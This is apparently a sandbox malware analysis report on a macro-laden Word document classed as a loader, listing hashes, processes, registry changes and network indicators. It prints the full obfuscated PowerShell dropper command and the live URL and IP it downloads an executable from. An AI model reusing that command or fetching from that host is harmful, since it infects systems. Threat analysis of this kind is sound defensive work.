File name:

52315c6ff63e285531f7a710b8a5ce562cabca230102cf8ea83df1cb9e95a8d0

Full analysis: https://app.any.run/tasks/0d6b6e3d-8537-45ec-9c52-16b271d0264e
Verdict: Malicious activity
Threats:

A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection.

Malware Trends Tracker     >>>
Analysis date: November 08, 2019, 13:28:19
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
generated-doc
loader
Indicators:
MIME: application/vnd.openxmlformats-officedocument.wordprocessingml.document
File info: Microsoft Word 2007+
MD5:

8D3B181D65A952CE271F794CE9E6FE19

SHA1:

2EA2F772A5C211F58B6FA3A1FA0B177209390F29

SHA256:

52315C6FF63E285531F7A710B8A5CE562CABCA230102CF8EA83DF1CB9E95A8D0

SSDEEP:

768:nI5m7fa4gMXRvp079ji/5Y3OlJoHwBFba8GT4KHag1zKgCaFU9:8kfTXY3yoHwbba8GNro

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Executes PowerShell scripts

      • WINWORD.EXE (PID: 2416)

    • Unusual execution from Microsoft Office

      • WINWORD.EXE (PID: 2416)

    • Starts Visual C# compiler

      • powershell.exe (PID: 2928)

    • Application was dropped or rewritten from another process

      • hb2638.exe (PID: 2564)

    • Downloads executable files from the Internet

      • powershell.exe (PID: 2928)

  • SUSPICIOUS

    • Creates files in the user directory

      • powershell.exe (PID: 2928)

    • Executable content was dropped or overwritten

      • powershell.exe (PID: 2928)

  • INFO

    • Creates files in the user directory

      • WINWORD.EXE (PID: 2416)

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 2416)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.docm | Word Microsoft Office Open XML Format document (with Macro) (53.6)
.docx | Word Microsoft Office Open XML Format document (24.2)
.zip | Open Packaging Conventions container (18)
.zip | ZIP compressed archive (4.1)

EXIF

ZIP

ZipRequiredVersion: 20
ZipBitFlag: 0x0006
ZipCompression: Deflated
ZipModifyDate: 1980:01:01 00:00:00
ZipCRC: 0xabd647f7
ZipCompressedSize: 410
ZipUncompressedSize: 1618
ZipFileName: [Content_Types].xml

XML

Template: Normal.dotm
TotalEditTime: -
Pages: 1
Words: -
Characters: -
Application: Microsoft Office Word
DocSecurity: None
Lines: 1
Paragraphs: -
ScaleCrop: No
LinksUpToDate: No
CharactersWithSpaces: -
SharedDoc: No
HyperlinksChanged: No
AppVersion: 16
Keywords: -
LastModifiedBy: -
RevisionNumber: 1
CreateDate: 2019:11:08 11:42:00Z
ModifyDate: 2019:11:08 11:42:00Z

XMP

Title: -
Subject: -
Creator: -
Description: -
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
40
Monitored processes
5
Malicious processes
1
Suspicious processes
1

Behavior graph

Click at the process to see the details
start drop and start winword.exe no specs powershell.exe csc.exe cvtres.exe no specs hb2638.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
2348"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\admin\AppData\Local\Temp\jrz-0tak.cmdline"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Visual C# Command Line Compiler
Exit code:
0
Version:
8.0.50727.4927 (NetFXspW7.050727-4900)
Modules
Images
c:\windows\microsoft.net\framework\v2.0.50727\csc.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\winsxs\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.4940_none_d08cc06a442b34fc\msvcr80.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\ole32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
2416"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\52315c6ff63e285531f7a710b8a5ce562cabca230102cf8ea83df1cb9e95a8d0.docm"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Exit code:
0
Version:
14.0.6024.1000
Modules
Images
c:\program files\microsoft office\office14\winword.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\winsxs\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_50934f2ebcb7eb57\msvcr90.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\comctl32.dll
2564"C:\Users\admin\AppData\Roaming\hb2638.exe" C:\Users\admin\AppData\Roaming\hb2638.exe—powershell.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
Modules
Images
c:\users\admin\appdata\roaming\hb2638.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
2576C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\admin\AppData\Local\Temp\RESB551.tmp" "c:\Users\admin\AppData\Local\Temp\CSCB550.tmp"C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe—csc.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft® Resource File To COFF Object Conversion Utility
Exit code:
0
Version:
8.00.50727.4940 (Win7SP1.050727-5400)
Modules
Images
c:\windows\microsoft.net\framework\v2.0.50727\cvtres.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\winsxs\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.4940_none_d08cc06a442b34fc\msvcr80.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\cryptsp.dll
2928powershell -WindowStyle Hidden function t85f75a {param($w4b74b9)$v7a6fb='u2edca7';$u56983='';for ($i=0; $i -lt $w4b74b9.length;$i+=2){$a75ce=[convert]::ToByte($w4b74b9.Substring($i,2),16);$u56983+=[char]($a75ce -bxor $v7a6fb[($i/2)%$v7a6fb.length]);}return $u56983;} $ba612 = '00410c0a0441640c4111010e5a42065b0b0343324e064600094d33421b460c09064f7e1b4600160c11641040130d0004444e47160d0d0617264b1610060c19315b04030d0e44015b06175814441c5c02443018440157084a2a2e0c00410c0a0441640c4111010e4f7910465e69691142175e0c0743025b14411644015454460a071f38255b197b08140c13435d100e01110f52190157464f245901401c340c0859010f4723061567075d0625070545104116464a3c17054707080a0217064604100a0217104a1101110f173c5c11341713170257045200497e1b463510114159160a5750564d4401400c0a0441521606545055480c2e7609082a0c471a40114c410a52075c00085053155912200a17134e255d0c0a17410a5510290b02057b1c5017051118155c6f451416035b1c5145171700431c5145011b1552075c452d0d15670140450701005213565d4c1015451c5c02441753564c564c5f38255b197b08140c13435d100e01110f52190157464f41721b46171d330e5e1b465846350845014704083313580157061041486a554210060f08545541110517085455571d1006135955500a0b0f415d17055d5052041f3c5c11341713170257510654540e59672c0a17314307121d010002545912100d0d15171207040654521b555d101043145e1b4645135a070f40004c5f38255b197b08140c13435d102e01110f521901574a070d5b571e45210d15450c620a0d0d150a576011082e0e41107f00090c134e571e453706157b14411121111358070f03050f12525c6f45171700431c5145011b1552075c45120c085355565d530652534d1a2c0a17314307120053070004111e2c0a1731430712105654540f595b0b104314054d00004d581142175e0c0743124314460c07430859011216010159555d1b1e2d0d15670140450e505755440654445e41541753000207591f010a50025454565d105450560706430201500751024050545d41481e4e5b034c095201170351555e5c7e1b463510114f6d10400a4d180658015d451c0659514001045f1e285901621116430f034407545914045643514d0e50575544065448175902130550054b4304410703555551534602555656570617055555535105450755505754155c1b5e0d054959410350555e5c7e1b463510114f6d10400a4d180658015d451c0659514001045f1e347e1b46351011415a1106575c005c1f207b0b103315455c075e110a0f435541540206020a45090c024b405d17055d5052041f1b065451524d5a1106575c004d070d0655480c14435541540206021e5c49020b170e170d575d025652564e4f271d17046c28120e535656564d06581f531904441e551c05071b454a5c541e5a7e1b463510114154425706055e2c5607410d050f4f76195e0a072b265b1a5004084b521e4e7f0416100956191c260b13181f1e05505302590359024907540454141e564d58050f425756005b49591045452d0d156701404d0a575002441c310b2a0f4343064d4d48514f450254064a4d54425706054f521e4e4a005c05540414084533060374195b000a1741514d565150575c5910454533060374195b000a17491e4e4111160a0f5055545c0505070f4d0f200a1508451a5c08010d1519325711220c0d531040350517091f305c130d110e5918570b104d324710510c050f2758195600164d2047055e0c0702155e1a5c210517001e5e1039380b030543015d4648150f405452510249154050505352050744104c5f0559534106514a270e401b5e0a0507275e19574d105b54514207044c415053410454555255024c0600555b5007405755545251074302015054505641025455530307430357555a50014056555c570007440356555b520f40565505535107160352555a50074153555441481b130b040205590f5c0935160c0252064136100213433c5c030b430053475652015e0f52021235160c0252064136100213433c5c030b4b070e1454035c5b480c25400a070612445b61110511151f1456570054041e4e40001016135955025e19131455195b0644101556015b06441015451c5c0244175902130550054b1243075b0b0343050f475606004a1a4401400c0a044159160a5750565c15000000000000005709161011085912120606020451110a583717135e1b554b210e11430c09030b11495e1b46450d5e510c1c0e015c510554111c29010d06431d090c4f5e531e0e501c10064140105353075e22581b440016174f631a701c100649534d000107074f6400501610110859121a0c4851481b44044c5f0003561054015c485c1f165a04164a494010535307433f171b515d5657546c5d5b4a564a4112555c065c5155025b7e000a04155f281b5e1911044300400b440003561054015c581c4a'; $ba6122 = t85f75a($ba612); Add-Type -TypeDefinition $ba6122; [b5c38b]::seb8b(); C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
WINWORD.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
Total events
2 499
Read events
1 341
Write events
999
Delete events
159

Modification events

(PID) Process:(2416) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:writeName:`b
Value:
7F60620070090000010000000000000000000000
(PID) Process:(2416) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
Off
(PID) Process:(2416) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1041
Value:
Off
(PID) Process:(2416) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1046
Value:
Off
(PID) Process:(2416) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1036
Value:
Off
(PID) Process:(2416) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1031
Value:
Off
(PID) Process:(2416) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1040
Value:
Off
(PID) Process:(2416) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1049
Value:
Off
(PID) Process:(2416) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:3082
Value:
Off
(PID) Process:(2416) WINWORD.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:writeName:WORDFiles
Value:
1332215870
Executable files
1
Suspicious files
2
Text files
2
Unknown types
3

Dropped files

PID
Process
Filename
Type
2416WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVRA87F.tmp.cvr —
MD5:—
SHA256:—
2928powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\P6MOKP8GPK8ZWWACTWSN.temp —
MD5:—
SHA256:—
2348csc.exeC:\Users\admin\AppData\Local\Temp\CSCB550.tmp —
MD5:—
SHA256:—
2348csc.exeC:\Users\admin\AppData\Local\Temp\jrz-0tak.pdb —
MD5:—
SHA256:—
2576cvtres.exeC:\Users\admin\AppData\Local\Temp\RESB551.tmp —
MD5:—
SHA256:—
2348csc.exeC:\Users\admin\AppData\Local\Temp\jrz-0tak.dll —
MD5:—
SHA256:—
2348csc.exeC:\Users\admin\AppData\Local\Temp\jrz-0tak.out —
MD5:—
SHA256:—
2416WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\D50DDCEC.emfemf
MD5:—
SHA256:—
2416WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:—
SHA256:—
2416WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~$315c6ff63e285531f7a710b8a5ce562cabca230102cf8ea83df1cb9e95a8d0.docmpgc
MD5:—
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
1
TCP/UDP connections
1
DNS requests
1
Threats
2

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2928
powershell.exe
GET
200
177.73.233.243:80
http://eletelportoes.com.br/Moodov.exe
BR
executable
966 Kb
suspicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2928
powershell.exe
177.73.233.243:80
eletelportoes.com.br
WDI SOLUCOES EM TEC INFORMACAO LTDA
BR
suspicious

DNS requests

Domain
IP
Reputation
eletelportoes.com.br
  • 177.73.233.243
suspicious

Threats

PID
Process
Class
Message
2928
powershell.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
2928
powershell.exe
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
Process
Message
csc.exe
*** HR originated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\copyout.cpp, line 1302
csc.exe
*** HR propagated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
csc.exe
*** HR originated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\copyout.cpp, line 1302
csc.exe
*** HR propagated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
csc.exe
*** HR originated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\copyout.cpp, line 1302
csc.exe
*** HR propagated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
csc.exe
*** HR originated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\copyout.cpp, line 1302
csc.exe
*** HR propagated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
csc.exe
*** HR originated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\copyout.cpp, line 1302
csc.exe
*** HR propagated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
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Reports
52315c6ff63e285531f7a710b8a5ce562cabca230102cf8ea83df1cb9e95a8d0